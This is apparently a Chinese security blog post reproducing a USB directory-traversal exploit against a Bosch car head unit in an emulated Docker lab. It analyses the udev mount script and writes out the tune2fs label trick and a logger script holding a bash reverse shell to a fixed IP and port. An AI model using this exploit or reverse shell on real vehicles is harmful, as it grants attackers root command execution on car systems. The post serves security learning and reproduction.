github上破解日系车机的文章 - https://github.com/ea/bosch_headunit_root

其中有利用 U 盘获取车机 shell 的操作

主要根据下面这篇文章进行环境搭建和复现

U盘目录穿越获取车机 SHELL(含模拟环境) - https://delikely.github.io/2021/06/04/U%E7%9B%98%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A%E8%8E%B7%E5%8F%96%E8%BD%A6%E6%9C%BASHELL/

环境准备

掏出我的U盘,不过好像ubuntu不支持

第一个是插入U盘前 第二个是插入U盘后

一般来说 /dev/sda 是指第一个磁盘设备,/dev/sdb 是指第二个磁盘设备,U盘插进去一般就是sdb了,因为虚拟机本身还有一个磁盘

我用blkid命令都不显示 额....

怀疑是不是因为U盘不是ETX4结构的

掏出我的傲梅分区助手,格式化分区

选择EXT4

等待执行完成即可

插入ubuntu虚拟机 可以看到这里已经是ext4类型了

接下来是固件环境的搭建,这里直接使用原博主已经弄好的Dockerfile,在虚拟机里面搭建一个模拟环境(可能这个时候你想说,那我们U盘插进去的时候,是插的虚拟机还是docker容器,答案是使用 --privileged 参数,以特权模式运行容器,即容器内的进程将具有与主机相同的权限。这可以让容器内的进程执行敏感操作,如挂载文件系统等)

我这里没有直接用wget,下载了对应文件传到虚拟机上

接着创建镜像

~/bosch headunit root$ sudo docker build -t delikely/bosch_headunit_root:automount .
[+] Building 29.8s (9/9) FINISHED
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 320B 0.0s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [internal] load metadata for docker.io/library/ubuntu:12.04 18.0s
=> [1/4] FROM docker.io/library/ubuntu:12.04@sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005 10.5s
=> => resolve docker.io/library/ubuntu:12.04@sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005 0.0s
=> => sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005 1.36kB / 1.36kB 0.0s
=> => sha256:5b117edd0b767986092e9f721ba2364951b0a271f53f1f41aff9dd1861c2d4fe 3.62kB / 3.62kB 0.0s
=> => sha256:d8868e50ac4c7104d2200d42f432b661b2da8c1e417ccfae217e6a1e04bb9295 39.10MB / 39.10MB 6.5s
=> => sha256:83251ac64627fc331584f6c498b3aba5badc01574e2c70b2499af3af16630eed 57.94kB / 57.94kB 0.9s
=> => sha256:589bba2f1b36ae56f0152c246e2541c5aa604b058febfcf2be32e9a304fec610 423B / 423B 0.8s
=> => sha256:d62ecaceda3964b735cdd2af613d6bb136a52c1da0838b2ff4b4dab4212bcb1c 680B / 680B 1.3s
=> => sha256:6d93b41cfc6bf0d2522b7cf61588de4cd045065b36c52bd3aec2ba0622b2b22b 162B / 162B 1.4s
=> => extracting sha256:d8868e50ac4c7104d2200d42f432b661b2da8c1e417ccfae217e6a1e04bb9295 3.9s
=> => extracting sha256:83251ac64627fc331584f6c498b3aba5badc01574e2c70b2499af3af16630eed 0.0s
=> => extracting sha256:589bba2f1b36ae56f0152c246e2541c5aa604b058febfcf2be32e9a304fec610 0.0s
=> => extracting sha256:d62ecaceda3964b735cdd2af613d6bb136a52c1da0838b2ff4b4dab4212bcb1c 0.0s
=> => extracting sha256:6d93b41cfc6bf0d2522b7cf61588de4cd045065b36c52bd3aec2ba0622b2b22b 0.0s
=> [internal] load build context 0.0s
=> => transferring context: 33B 0.0s
=> [2/4] WORKDIR /etc/ 0.6s
=> [3/4] COPY ./udev.tar.gz /etc/ 0.0s
=> [4/4] RUN tar xzvf udev.tar.gz -C ./udev/ 0.5s
=> exporting to image 0.1s
=> => exporting layers 0.1s
=> => writing image sha256:b7f09bab4df68c56fbfcb47df03b921998fe677b5b1158b01d5d29a8625c962f 0.0s
=> => naming to docker.io/delikely/bosch_headunit_root:automount 0.0s

额这么慢?

不好意思打开方式错了,先改docker镜像源

sudo vi /etc/docker/daemon.json

添加

{
"registry-mirrors": ["https://y0qd3iq.mirror.aliyuncs.com"]
}

重启docker

service docker restart

可以看一下更新成功没有

sudo docker info|grep Mirrors -A 1

现在再搭建docker,世界终于美好了

接下来运行这个镜像 原文中的命令有点问题 这里使用

~/bosch headunit root$ sudo docker run -itd --privileged=true delikely/bosch_headunit_root:automount
05993c72efb7425b800924ac22d4d521b4a003261180a35cff301ad6f9b30db7

OK到这里环境终于OK了

漏洞代码分析

因为我们的docker前面启动设置的原因 所以现在如果插入U盘 会直接挂载到docker容器中 如下

可以看到是在容器中

另外车机的操作系统为 Linux

U 盘等外设热插拔由 udev 实现。udev 是 Linux 系统中的一个设备管理守护进程,全称为 "Userspace Device Manager"(用户空间设备管理器)。它负责监听和管理计算机系统中的硬件设备

配置文件在 /etc/udev 下 。udev 会根据设备的 UUID 和 LABEL,构造挂载点。UUID 是块设备的唯一标识符,LAEBL 是块设备的一个标签

车机中自定义了 U 盘挂载脚本,在 udev 配置文件 /etc/udev/rules.d/local.rules 中 ,指定了由脚本 /etc/udev/scripts/mount.sh 处理

接下来看 mount.sh 的内容

#!/bin/bash
#
# Called from udev
# Attempt to mount any added block devices by UUID
# and remove any removed devices
# . /etc/default/rcS if [ -n "$DEVDEBUG" ]
then
export >> /tmp/env.txt
fi MOUNT="/bin/mount"
UMOUNT="/bin/umount"
MOUNTPT="/dev/media"
MOUNTDB="/tmp/.automount" devname=${DEVNAME##*/} check_mount() {
dev=$1
not_found=1 exec 4< /proc/mounts read -u 4 device mount_point skip
while [ $? -eq 0 ]; do
case ${device} in
$dev)
not_found=0
echo ${mount_point}
;;
*)
;;
esac
read -u 4 device mount_point skip
done exec 4<&- return ${not_found}
} automount() {
if [ -z "${ID_FS_TYPE}" ]; then
logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
return
fi # Determine the name for the mount point. First check for the
# uuid, then for the label and then for a unique name.
if [ -n "${ID_FS_UUID}" ]; then
mountdir=${ID_FS_UUID}
elif [ -n "${ID_FS_LABEL}" ]; then
mountdir=${ID_FS_LABEL}
else
mountdir="disk"
while [ -d $MOUNTPT/$mountdir ]; do
mountdir="${mountdir}_"
done
fi # Create the mount point.
! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir" # And mount the disk or partition.
if [ -n ${ID_FS_TYPE} ]
then
if [ "vfat" = ${ID_FS_TYPE} ]
then
IOCHARSET=",utf8=1"
elif [ "ntfs" = ${ID_FS_TYPE} ]
then
IOCHARSET=",nls=utf8"
fi
fi result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)
status=$?
if [ ${status} -ne 0 ]; then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p ${MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi
} rm_dir() {
# We do not want to rm -r populated directories
if test "`find "$1" | wc -l | tr -d " "`" -lt 2 -a -d "$1"
then
! test -z "$1" && rm -r "$1"
else
logger -p user.err "mount.sh/automount" "not removing non-empty directory [$1]"
fi
} if [ "$ACTION" = "add" ] && [ -n "$DEVNAME" ]; then
check_mount "$DEVNAME" || automount
fi if [ "$ACTION" = "change" ] && [ -n "$DEVNAME" ]; then
# Check if the disk can be opened.
if [ exec <$DEVNAME ]; then
# The disk can be opened, so check for a file system and mount
# it. Otherwise wait for the add events for the partitions.
if [ -n "${ID_FS_TYPE}" ]; then
# There is a file system, so try to mount it.
check_mount "$DEVNAME" || automount
fi
else
# The disk cannot be opened. Unmount all mount points
# referring to this disk including partitions.
for file in $(ls ${MOUNTDB}/$devname* 2>&-)
do
read mountdir < ${file}
devname=${file#${MOUNTDB}/} logger "mount.sh/automount" "unmounting [${mountdir}]"
$UMOUNT -l $mountdir # Remove empty directories from auto-mounter
rm_dir "${mountdir}"
rm "${MOUNTDB}/$devname"
done
fi
fi if [ "$ACTION" = "remove" ] && [ -x "$UMOUNT" ] && [ -n "$DEVNAME" ]; then for mnt in $(check_mount "$DEVNAME")
do
logger "mount.sh/automount" "unmounting [$mnt]"
$UMOUNT -l $mnt # Remove empty directories from auto-mounter
if [ -e "${MOUNTDB}/$devname" ]; then
read mountdir < ${MOUNTDB}/$devname
rm_dir "$mountdir"
rm "${MOUNTDB}/$devname"
rm "${INFODB}/$devname"
fi
done
fi

查看主动挂载函数

automount() {
if [ -z "${ID_FS_TYPE}" ]; then
logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
return
fi # Determine the name for the mount point. First check for the
# uuid, then for the label and then for a unique name.
if [ -n "${ID_FS_UUID}" ]; then
mountdir=${ID_FS_UUID}
elif [ -n "${ID_FS_LABEL}" ]; then
mountdir=${ID_FS_LABEL}
else
mountdir="disk"
while [ -d $MOUNTPT/$mountdir ]; do
mountdir="${mountdir}_"
done
fi # Create the mount point.
! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir" # And mount the disk or partition.
if [ -n ${ID_FS_TYPE} ]
then
if [ "vfat" = ${ID_FS_TYPE} ]
then
IOCHARSET=",utf8=1"
elif [ "ntfs" = ${ID_FS_TYPE} ]
then
IOCHARSET=",nls=utf8"
fi
fi result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)
status=$?
if [ ${status} -ne 0 ]; then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p ${MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi
}

逐行分析

下面的代码判断U盘的文件系统 ID_FS_TYPE,可识别就继续执行,否则就退出

if [ -z "${ID_FS_TYPE}" ]; then
logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
return
fi

然后设置mountdir,如果 ID_FS_UUID 不为空则 mountdir 为 ID_FS_UUID,如果 ID_FS_LABEL 不为空则 mountdir 为 ID_FS_LABEL,否则mountdir为disk

if [ -n "${ID_FS_UUID}" ]; then
mountdir=${ID_FS_UUID}
elif [ -n "${ID_FS_LABEL}" ]; then
mountdir=${ID_FS_LABEL}
else
mountdir="disk"
while [ -d $MOUNTPT/$mountdir ]; do
mountdir="${mountdir}_"
done
fi

拼接一下 /dev/media 就是形成了最终的挂载点。最后使用 mount 命令将 U盘挂载到刚才构造的这个路径上

! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir"

下面这部分因为我们是ETX4所以可以忽略

# And mount the disk or partition.
if [ -n ${ID_FS_TYPE} ]
then
if [ "vfat" = ${ID_FS_TYPE} ]
then
IOCHARSET=",utf8=1"
elif [ "ntfs" = ${ID_FS_TYPE} ]
then
IOCHARSET=",nls=utf8"
fi
fi

然后是真正的挂载操作

result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)

$mountdir 这里很关键,刚好是我们能够控制的 而且没有什么过滤操作,存在目录穿越漏洞

咱们接着把挂载脚本看完

status=$?
if [ ${status} -ne 0 ]; then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p ${MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi

我们看挂载成功之后的逻辑 会调用logger命令,我们劫持/usr/bin/之后,可以在U盘里面再写一个logger脚本,导致挂载的时候运行到这里的时候,调用我们的logger脚本,从而实现反弹shell

漏洞利用

因为 $mountdir 没有被过滤,所以可以控制 $mountdir 来实现目录穿越,从而劫持系统中的程序实现任意命令执行

前面 $mountdir 我们可以通过 ID_FS_UUID 和 ID_FS_LABEL 来控制

blkid 命令是一个用于显示块设备(如硬盘、分区等)的文件系统类型和UUID(Universally Unique Identifier)的工具命令。它可以帮助您在 Linux 系统中识别和管理块设备。

/etc# blkid /dev/sdb1
/dev/sdb1: LABEL="EasyU" UUID="7cc162e8-93d7-1f44-bbd6-0d308f113468" TYPE="ext4"

可以看到其中

  • LABEL 为 EasyU
  • UUID 为 7cc162e8-93d7-1f44-bbd6-0d308f113468

我们使用 tune2fs 工具

tune2fs 是一个用于调整和修改 ext2、ext3 和 ext4 文件系统参数的命令行工具。它是 e2fsprogs 软件包(ext2/ext3/ext4 文件系统工具集)中的一部分,常用于 Linux 系统中

使用tune2fs控制UUID

/etc# tune2fs -U "../../usr/bin" /dev/sdb1
tune2fs 1.42 (29-Nov-2011)
tune2fs: Invalid UUID format

不规范的UUID,所以将其置空

/etc# tune2fs -U NULL /dev/sdb1
tune2fs 1.42 (29-Nov-2011)

控制 LABEL

/etc# tune2fs -L "../../usr/bin" /dev/sdb1
tune2fs 1.42 (29-Nov-2011)

看一下成果

/etc# blkid /dev/sdb1
/dev/sdb1: LABEL="../../usr/bin" UUID="7cc162e8-93d7-1f44-bbd6-0d308f113468" TYPE="ext4"

暂停docker,在U盘目录下编写logger脚本来进行反弹shell,这里我除了IP,其余直接复制原博主的了

root@kali:~/automotive# mount /dev/sdb1 /media/root/
root@kali:~/automotive# cd /media/root
root@kali:/media/root# cat logger
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1
root@kali:/media/root# chmod +x logger
root@kali:/media/root# cd -
root@kali:~/automotive# umount /dev/sdb1

启动docker环境~

最后再插入U盘 ,ubuntu虚拟机拿到反弹shell~ (大功告成

原来的/usr/bin 目录下就被劫持了,只剩下了U盘内容

可以看到反弹shell中我们用 whoami 就找不到命令了

如果想要使用其他的/usr/bin/目录下的命令,就需要把原来/usr/bin 目录的文件(或相同架构的可执行文件)拷贝到 U 盘根目录,这样在劫持了之后才有命令可用

END

建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注

加我拉你入群 黑糖安全公众号

U盘目录穿越获取车机SHELL - 分析与复现的更多相关文章

  1. 用C++和shell获取本机CPU、网卡IO、内存、磁盘等的基本信息

    用C++和shell获取本机CPU.网卡.内存.磁盘等的基本信息: 由于对C++相关的函数没多少了解,但是觉得用shell反而相对简单一些: 一.shell脚本,用来辅助C++获取主机的资源使用信息 ...

  2. Shell 命令行获取本机IP,grep的练习

    Shell 命令行获取本机IP,grep的练习 在 mac 下面输入 ifconfig 或者在 linux 下面输入 ip a 就可以得到我们的网卡信息.不过通常情况下,我们需要查看的是我们的IP地址 ...

  3. shell中获取本机ip地址

    shell中获取本机ip地址 方法一: /sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr ...

  4. 用 shell 获取本机的网卡名称

    用 shell 获取本机的网卡名称 # 用 shell 获取本机的网卡名称 ls /sys/class/net # 或者 ifconfig | grep "Link" | awk ...

  5. c#中如何获取本机MAC地址、IP地址、硬盘ID、CPU序列号等系统信息

    我们在利用C#开发桌面程序(Winform)程序的时候,经常需要获取一些跟系统相关的信息,例如用户名.MAC地址.IP地址.硬盘ID.CPU序列号.系统名称.物理内存等. 首先需要引入命名空间: us ...

  6. 居于mtk芯片安卓车机系统具体流程

    一:车机系统框架  MCU 功能  电源控制  Radio 控制(RDS)  按键检测(Panel/Remote/SW)  常见信号检查(倒车/大灯/刹车)  CAN 模块通讯  ARM- ...

  7. 使用Android studio配置软件签名,并在车机安装

    系统级APP,可在Androidmanifest.xml中配置属性,并使用系统级签名. 1. 签名方式 1.1 bulid.gradle(:app)中添加签名信息 1.2 使用Android stud ...

  8. python学习之最简单的获取本机ip信息的小程序

    文章是从我的个人博客粘贴过来的,大家可以直接访问我的个人博客哦 http://www.iwangzheng.com 获取本机ip信息的命令ifconfig总是在用,这次拿到pyhton代码里,感觉py ...

  9. 获取本机CPU,硬盘等使用情况

    早上的时候接到主管的一个任务,要获取服务器上的cpu,硬盘, 数据库等 的使用情况,并以邮件的方式发给boss, = =没办法,公司的服务器真是不敢恭维,顺便吐槽一下公司的网速,卡的时候30k左右徘徊 ...

  10. 如何获取本机IP

    GetLocalHost 直接通过InetAddress.getLocalHost()来获取,其主要逻辑如下 InetAddress.getLocalHost(): String hostname = ...

随机推荐

  1. 2022-05-21:给定一个数组arr,长度为n, 表示n个服务员,每个人服务一个人的时间。 给定一个正数m,表示有m个人等位。 如果你是刚来的人,请问你需要等多久? 假设:m远远大于n,比如n<=

    2022-05-21:给定一个数组arr,长度为n, 表示n个服务员,每个人服务一个人的时间. 给定一个正数m,表示有m个人等位. 如果你是刚来的人,请问你需要等多久? 假设:m远远大于n,比如n&l ...

  2. 2022-01-09:整数转换英文表示。将非负整数 num 转换为其对应的英文表示。 示例 1: 输入:num = 123, 输出:“One Hundred Twenty Three“。 力扣273。

    2022-01-09:整数转换英文表示.将非负整数 num 转换为其对应的英文表示. 示例 1: 输入:num = 123, 输出:"One Hundred Twenty Three&quo ...

  3. 2021-09-22:请你判断一个 9x9 的数独是否有效。只需要 根据以下规则 ,验证已经填入的数字是否有效即可。数字 1-9 在每一行只能出现一次。数字 1-9 在每一列只能出现一次。数字 1-9

    2021-09-22:请你判断一个 9x9 的数独是否有效.只需要 根据以下规则 ,验证已经填入的数字是否有效即可.数字 1-9 在每一行只能出现一次.数字 1-9 在每一列只能出现一次.数字 1-9 ...

  4. Random库用法详解

    梅森旋转算法实现 基本随机数函数 seed(a=None): 初始化给定的随机数种子,默认为当前系统时间. 只要随机数种子相同,产生的随机数序列也相同. random(): 生成一个[0.0,1.0] ...

  5. 《啊哈C语言——逻辑的挑战》学习笔记

    第一章 梦想启航 第1节 让计算机开口说话 1.基础知识 1)计算机"说话"的两种方式 显示在屏幕上 通过喇叭发出声音 2)计算机"说话"之显示在屏幕上 格式: ...

  6. 使用umi+dva做一个demo

    最初只是使用react 进行开发项目,发现项目过大状态管理起来就相当困难,虽然有redux, mobx,但是使用起来还是相当繁琐,而目前umi有现成的轮子使用简单,当然愿意尝试了,趁现在假期有时间简单 ...

  7. vue模拟el-table演示插槽用法

    vue模拟el-table演示插槽用法 很多人知道插槽分为三种,但是实际到elementui当中为什么这么用,就一脸懵逼,接下来就跟大家聊一聊插槽在elementui中的应用,并且自己写一个类似el- ...

  8. 经纬度坐标为中心点生成米距离长度半径的圆形面,含java js源码+在线绘制,代码简单零依赖

    目录 java版源码 js版源码 在线绘制预览效果 关于计算的精确度 前些时间在更新我的坐标边界查询工具的时候,需要用到经纬度坐标点的距离计算,和以坐标点为中心生成一个指定距离为半径的圆,搜了一下没有 ...

  9. NVIDIA Maxine Video Effects SDK 編程指南 - 实践小记

    NVIDIA Maxine Video Effects SDK 編程指南 - 实践小记 本篇博客重点只说Video Effect的部分,此外还有Audio Effect的部分.还有AR部分,不在本篇范 ...

  10. 驱动开发:应用DeviceIoContro模板精讲

    在笔者上一篇文章<驱动开发:应用DeviceIoContro开发模板>简单为大家介绍了如何使用DeviceIoContro模板快速创建一个驱动开发通信案例,但是该案例过于简单也无法独立加载 ...